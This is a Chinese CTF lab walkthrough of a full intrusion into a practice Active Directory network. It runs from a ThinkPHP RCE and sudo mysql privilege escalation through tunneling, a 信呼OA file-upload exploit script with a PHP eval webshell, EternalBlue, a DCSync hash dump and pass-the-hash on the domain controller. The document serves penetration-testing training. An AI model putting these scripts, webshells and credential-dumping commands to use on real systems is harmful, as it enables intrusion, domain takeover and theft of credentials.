春秋云境 - Initial

flag1

ThinkPHP RCE 与 WebShell 获取

看图标可以知道是thinkphp

Thinkphp 漏洞检测工具

上传shell

蚁剑连接

权限提升:SUID 与 sudo 滥用读取 flag1

suid提权

find / -user root -perm -4000 -print 2> result.txt

列出当前用户被授权可以以 sudo 执行的命令(即查看用户的 sudo 权限)。

sudo -l

这里有mysql可以利用

sudo mysql -e '\! cat /root/flag/flag01.txt'

flag{60b53231-

flag2

内网横向移动——查网段

由于题目提示 flag各部分位于不同的机器上,所以这里我们要通过内网横向移动,进而获取同一内网中的其他主机或系统里面的flag

内网横向移动(Lateral Movement) 是指攻击者在成功入侵一台内网主机后,以此为跳板,进一步渗透同一内网中的其他主机或系统的过程。它是红队/渗透测试/APT 攻击中的关键阶段,目标是扩大控制范围、提升权限、最终获取核心资产(如域控、数据库、OA 系统等)。

这里首先输入以下指令,查一下自身的网段

ip a
#ip addr show

网段是什么? 一组可以直接通信的 IP 地址集合 。

/24:小网段,254 个 IP,最常用

/16:大网段,6.5 万个 IP,常见于云环境或大型内网

举例:/24 是一栋楼,/16 是一个小区。你住在 1 号楼 15 室,先敲同楼的门,别一上来就跑遍整个小区。

回显了

1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000
link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
inet 127.0.0.1/8 scope host lo
valid_lft forever preferred_lft forever
inet6 ::1/128 scope host
valid_lft forever preferred_lft forever
2: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc mq state UP group default qlen 1000
link/ether 00:16:3e:2d:b7:50 brd ff:ff:ff:ff:ff:ff
inet 172.22.1.15/16 brd 172.22.255.255 scope global dynamic eth0
valid_lft 1892157127sec preferred_lft 1892157127sec
inet6 fe80::216:3eff:fe2d:b750/64 scope link
valid_lft forever preferred_lft forever

这里主要看**eth0**** 接口(主网卡)**

2: eth0: <BROADCAST,MULTICAST,UP,...>
inet 172.22.1.15/16
  • 关键信息:该主机的 **内网 IP 是 ****172.22.1.15**
  • 子网掩码 /16 表示 **网段是 ****172.22.0.0/16**(即 172.22.0.1 ~ 172.22.255.254);
  • 我们这里查 172.22.1.0/24 (即 **172.22.1.0** ~ **172.22.1.255**

内网扫描:使用 fscan 扫描存活机器

得到网段后,我们扫描一下内网中有哪些存活机器,我们先用蚁剑上传 fscan

fscan是什么?

fscan 是一款由 中国安全研究员 开发的内网综合扫描工具,常用于渗透测试和红队行动中,主打 快速、轻量、一体化,能自动完成多种常见漏洞的探测与利用。

运行 fscan(通常指 fscan.exefscan_linux)会对目标网段执行自动化批量扫描,主要包括以下功能:

存活探测 ICMP ping + TCP 端口探测(判断主机是否在线)
端口扫描 扫描常见高危端口(如 21, 22, 23, 80, 445, 3306, 6379, 7001, 8080 等)
弱口令爆破 自动尝试默认/弱口令,支持: • SMB(Windows 共享) • FTP • SSH • MySQL • MSSQL • Redis • PostgreSQL • RDP(部分版本) • Tomcat • WebLogic 等
漏洞检测 自动检测常见漏洞,例如: • MS17-010(永恒之蓝) • Redis 未授权访问WebLogic CVE-2017-10271 / CVE-2019-2725Shiro 反序列化Spring Cloud Config 目录遍历ThinkPHP RCE(如你之前提到的 TP5.0.23) • Jboss、Apache Unomi、Nexus 等
信息收集 获取 Banner、网站标题、中间件版本等
代理支持 部分版本支持通过代理扫描

使用fscan进行扫描,并将结果返回fscan.txt

./fscan -h 172.22.1.0/24 > fscan.txt

得到

start infoscan
trying RunIcmp2
The current user permissions unable to send icmp packets
start ping
(icmp) Target 172.22.1.15 is alive
(icmp) Target 172.22.1.2 is alive
(icmp) Target 172.22.1.18 is alive
(icmp) Target 172.22.1.21 is alive
[*] Icmp alive hosts len is: 4
172.22.1.15:22 open
172.22.1.2:88 open
172.22.1.18:3306 open
172.22.1.21:445 open
172.22.1.2:445 open
172.22.1.21:139 open
172.22.1.18:139 open
172.22.1.2:139 open
172.22.1.21:135 open
172.22.1.18:135 open
172.22.1.2:135 open
172.22.1.18:80 open
172.22.1.18:445 open
172.22.1.15:80 open
[*] alive ports len is: 14
start vulscan
[*] NetInfo
[*]172.22.1.2
[->]DC01
[->]172.22.1.2
[*] NetInfo
[*]172.22.1.21
[->]XIAORANG-WIN7
[->]172.22.1.21
[*] OsInfo 172.22.1.2 (Windows Server 2016 Datacenter 14393)
[*] WebTitle http://172.22.1.15 code:200 len:5578 title:Bootstrap Material Admin
[*] NetBios 172.22.1.2 [+] DC:DC01.xiaorang.lab Windows Server 2016 Datacenter 14393
[*] NetBios 172.22.1.21 XIAORANG-WIN7.xiaorang.lab Windows Server 2008 R2 Enterprise 7601 Service Pack 1
[+] MS17-010 172.22.1.21 (Windows Server 2008 R2 Enterprise 7601 Service Pack 1)
[*] WebTitle http://172.22.1.18 code:302 len:0 title:None 跳转url: http://172.22.1.18?m=login
[*] NetBios 172.22.1.18 XIAORANG-OA01.xiaorang.lab Windows Server 2012 R2 Datacenter 9600
[*] NetInfo
[*]172.22.1.18
[->]XIAORANG-OA01
[->]172.22.1.18
[*] WebTitle http://172.22.1.18?m=login code:200 len:4012 title:信呼协同办公系统
[+] PocScan http://172.22.1.15 poc-yaml-thinkphp5023-method-rce poc1
已完成 14/14
[*] 扫描结束,耗时: 10.647487243s

可以获得以下信息

172.22.1.15 80, 22 Web(ThinkPHP)、SSH
172.22.1.2 DC01 Windows Server 2016 88, 135, 139, 445 DC域控(Domain Controller)
172.22.1.18 XIAORANG-OA01 Windows Server 2012 R2 80, 135, 139, 445, 3306 信呼 OA 系统 + MySQL
172.22.1.21 XIAORANG-WIN7 Windows Server 2008 R2 SP1 135, 139, 445 存在 MS17-010(永恒之蓝)!

内网穿透

这里我们先打 信呼OA 这个漏洞

Vulnerability-Wiki/docs-base/docs/oa/信呼OA-qcloudCosAction.php-任意文件上传漏洞.md at master · Threekiii/Vulnerability-Wiki

信呼 OA(全称:信呼协同办公系统)是一款由国内开发者(“信呼团队”)开发的 开源免费企业协同办公平台,主要面向中小型企业,提供流程审批、文档管理、任务协作、人事管理等功能。

这里需要内网穿透,使得我们在攻击机windows系统中也能访问内网

frp

首先尝试frp内网穿透 ( 目的是使我们能够在攻击机访问内网的服务 )

https://github.com/fatedier/frp

我们需要将 frpsfrps.toml 上传到我们的 vps

[common]
bind_port = 7000

frpcfrpc.toml 上传到我们的靶机

serverAddr = "114.132.49.165"      # frps 服务端的公网 IP
serverPort = 7000 # frps 控制端口(默认 7000)

[[proxies]] # 开始定义一个代理配置
name = "proxy" # 代理名称,需唯一
type = "tcp" # 代理类型为 TCP
localIP = "39.98.120.52" # 内网目标服务的 IP
localPort = 80 # 内网目标服务的端口
remotePort = 8080 # 在 VPS 上映射的公网端口

然后在靶机执行:

./frpc -c frpc.toml

vps 执行:

./frps -c frps.toml

但是这里蚁剑网络不是很好,没有成功,我们换一个方法

Neo-reGeorg+Proxifier

这里学习了一下 使用Neo-reGeorg+Proxifier实现内网穿透

https://www.cnblogs.com/KHZ521/p/15931511.html

生成密钥

python3 neoreg.py generate -k jato

自动生成脚本文件

将对应脚本文件上传的目录的应用web目录,并确定可以访问

这里将tunnel.php上传至蚁剑,发现可以正常访问

使用neoreg连接目标脚本文件(-p指定端口,默认为1080)

python3 neoreg.py -k <已经设定的密钥> -u <http://xxx.xxx.xxx/tunnel.php> -p <prot>
python3 neoreg.py -k jato -u http://xxx.xxx.xxx/tunnel.php -p 1080

确定脚本正常工作

接下来配合Proxifier实现流量转发

此时可以正常穿透

信呼OA qcloudCosAction.php 任意文件上传漏洞

爆破得到账号密码

admin
admin123

成功进入系统

这里直接打 信呼OA 这个漏洞,有一个poc

# 1.php为webshell

# 需要修改以下内容:
# url_pre = 'http://<IP>/'
# 'adminuser': '<ADMINUSER_BASE64>',
# 'adminpass': '<ADMINPASS_BASE64>',

import requests

session = requests.session()
url_pre = 'http://172.22.1.18/'
url1 = url_pre + '?a=check&m=login&d=&ajaxbool=true&rnd=533953'
url2 = url_pre + '/index.php?a=upfile&m=upload&d=public&maxsize=100&ajaxbool=true&rnd=798913'
url3 = url_pre + '/task.php?m=qcloudCos|runt&a=run&fileid=11'

data1 = {
'rempass': '0',
'jmpass': 'false',
'device': '1625884034525',
'ltype': '0',
'adminuser': 'YWRtaW4=',
'adminpass': 'YWRtaW4xMjM=',
'yanzm': ''
}

r = session.post(url1, data=data1)
r = session.post(url2, files={'file': open('1.php', 'r+')})
filepath = str(r.json()['filepath'])
filepath = "/" + filepath.split('.uptemp')[0] + '.php'
print(filepath)
id = r.json()['id']
url3 = url_pre + f'/task.php?m=qcloudCos|runt&a=run&fileid={id}'
r = session.get(url3)
r = session.get(url_pre + filepath + "?1=system('dir');")
print(r.text)

同目录下需要放一个一句话木马 1.php

<?php @eval($_POST[1]);?>

木马上传成功

访问一下网页,发现可以正常解析

蚁剑连接,注意这里一定要先改一下代理设置,否则会连不上一句话木马

连接成功

由于目录比较多,我们可以先查找匹配一下flag

dir /s flag

直接访问就可以拿到第二个flag

2ce3-4813-87d4-

flag3

MS17-010(永恒之蓝)攻陷 Win7 主机

在flag2中我们对内网进行扫描,扫出来了永恒之蓝

172.22.1.21 XIAORANG-WIN7 Windows Server 2008 R2 SP1 135, 139, 445 存在 MS17-010(永恒之蓝)!

首先了解一下什么是永恒之蓝?

“永恒之蓝”(EternalBlue) 是由美国国家安全局(NSA)开发的一个高危漏洞利用工具,后被黑客组织 Shadow Brokers 在 2017 年 4 月公开泄露。它利用的是 Windows 操作系统中 SMB(Server Message Block)协议的一个远程代码执行漏洞。编号:CVE-2017-0146、MS17-010。

  • 漏洞位置:Windows SMBv1 协议的内核驱动(srv.sys)中。
  • 漏洞类型缓冲区溢出(Buffer Overflow),具体是由于 SMB 协议在处理恶意构造的“写入”请求时,未正确验证数据长度,导致攻击者可以向内核内存中写入任意数据。

攻击者只需目标开放 TCP 445 端口(SMB 服务),即可远程执行任意代码, 成功利用后可获得 SYSTEM 权限(最高权限)。

要成功利用 EternalBlue,目标必须同时满足以下条件:

未安装 MS17-010 补丁 微软在 2017 年 3 月发布修复补丁(如 KB4013389)。若已打补丁,则无法利用。
启用 SMBv1 协议 Windows 默认在 Win10/Server 2016+ 中禁用 SMBv1,但 Win7/2008 R2 默认开启。
445 端口开放且可访问 攻击者必须能通过 TCP 445 端口与目标通信(无防火墙拦截)。
目标为支持架构 主要影响:Windows 7 / Windows Server 2008 R2(x64 最稳定),部分 WinXP/2003 也可利用(需不同 payload)。

接下来我们要利用永恒之蓝进行攻击

这里需要用到渗透框架 Metasploit Framework,kali自带这个框架

接着我们先了解一下MSF

MSF 是 Metasploit Framework 的缩写,它是一个开源的渗透测试平台,广泛用于开发、测试和执行漏洞利用(exploit)代码,以评估目标系统的安全性。

漏洞利用:执行远程/本地 exploit(如 **exploit/windows/smb/ms17_010_eternalblue**

由于我们要用到kali,所以这里还是先用Neo-reGeorg对kali实现内网穿透

然后我们需要 设置 socks5 代理 ,这里需要用到proxychains4 工具

vim /etc/proxychains4.conf

启动msf

proxychains4 msfconsole
  • **proxychains4** 是一个工具,用于强制让后续程序的网络流量通过预配置的代理链(如 SOCKS 或 HTTP 代理)。
  • **msfconsole** 是 Metasploit 的交互式命令行界面。

搜索 ms17-010 相关模块 ,一共有四个相关模块

search MS17-010

这里我们选择使用第一个模块,因为它支持的 Windows 版本较多 ,然后接下来依次输入以下命令来发起永恒之蓝攻击:

use exploit/windows/smb/ms17_010_eternalblue  # 选择使用的模块
set payload windows/x64/meterpreter/bind_tcp_uuid # 设置payload,可以通过show payloads查看
set RHOSTS 172.22.1.21 # 设置靶机的ip
exploit # 执行攻击

运行成功会出现meterpreter>

meterpreter>Metasploit Framework(MSF)Meterpreter 载荷(payload)成功执行后进入的交互式命令行提示符(扩展模块)。它表示你已经获得了一个与目标系统建立的高级、内存驻留型后渗透会话(session), 对目标系统进行更深入的渗透 。

连接成功后,我们查看一下我们的权限

meterpreter > getuid

已经是system权限了

DCSync攻击

这里我们就已经打入目标主机了,但是该子机上并没有flag, 我们最后的flag在 windows DC 域控制器上面

172.22.1.2 DC01 Windows Server 2016 88, 135, 139, 445 DC域控(Domain Controller)

DC域控是什么?

DC(Domain Controller,域控制器) 是 Windows Active Directory(AD,活动目录) 网络架构中的核心服务器角色,负责集中管理网络中的用户、计算机、组策略、身份验证和授权等安全服务。** **

**在 CTF 或红队演练中: 拿到 DC = 拿到 flag:域内所有用户凭证、敏感数据、GPO 后门均可获取。 **

**如何拿到DCC呢?这里需要 进行 **DCSync** 攻击 **

在 Active Directory 中,多个域控制器之间需要保持数据一致(比如用户密码修改后,所有 DC 都要同步更新)。为此,Windows 提供了一套名为 Directory Replication Service (DRS) 的协议,允许 DC 之间通过 RPC 调用(如 **DsGetNCChanges** 请求同步目录数据, 每隔15min就会进行一次域数据同步 。

DCSync 攻击就是伪装成一台合法的域控制器,向目标 DC 发起 DRS 复制请求,要求“同步”特定用户的凭证信息。由于 AD 信任具备复制权限的主体,目标 DC 会主动返回该用户的密码哈希和 Kerberos 密钥。

**我们可以通过 **DCSync** 来导出所有用户的 **hash** 然后进行哈希传递攻击 **

如果想要执行 DCSync, 必须拥有以下任一高权限身份:

Domain Admins(域管理员)
Enterprise Admins(企业管理员)
Administrators 组成员(在域控制器本地)
被显式授予 “Replicating Directory Changes” 权限的账户(可通过 ACL 滥用实现)

在我们一开始的fscan中

[+] MS17-010 172.22.1.21	(Windows Server 2008 R2 Enterprise 7601 Service Pack 1)

说明我们拿下的这台机子是enterprise 用户 ,可以进行DCSync攻击,接下来我们 来获取用户的 hash

load kiwi  # 加载 kiwi 扩展模块,支持内存凭证提取、哈希转储、票据操作、DCSync 等高级功能。
kiwi_cmd "lsadump::dcsync /domain:xiaorang.lab /all /csv" exit # 通过 Kiwi 调用 Mimikatz 的 lsadump::dcsync 功能,导出 xiaorang.lab 域内所有用户的凭证信息(包括哈希值),并以 CSV 格式输出。

结果如下:

我们可以看到Administrator 用户的 hash

500     Administrator   10cf89a850fb1cdbe6bb432b859164c8        512

接下来我们使用 crackmapexec 来进行哈希传递攻击,来实现 DC域控 上的任意命令执行

CrackMapExec(简称 CME) 是一个专为 Active Directory(AD)渗透测试和红队行动 设计的后渗透利用框架,主要用于大规模自动化地枚举、攻击和利用 Windows 网络中的 SMB、LDAP、MSSQL、WinRM 等服务

这道题我们 使用哈希进行横向移动(PtH),直接利用哈希值完成身份认证,从而在其他主机上执行命令或获取访问权限。【 Windows 的 NTLM 认证协议 在验证用户身份时,并不强制要求明文密码,而是使用 NTLM Hash(即密码的 MD4 哈希) 进行挑战-响应计算。】

proxychains4 crackmapexec smb 172.22.1.2 -u administrator -H10cf89a850fb1cdbe6bb432b859164c8 -d xiaorang.lab -x "type Users\Administrator\flag\flag03.txt"

拿到flag3:

e8f88d0d43d6}

最终flag

flag{60b53231-2ce3-4813-87d4-e8f88d0d43d6}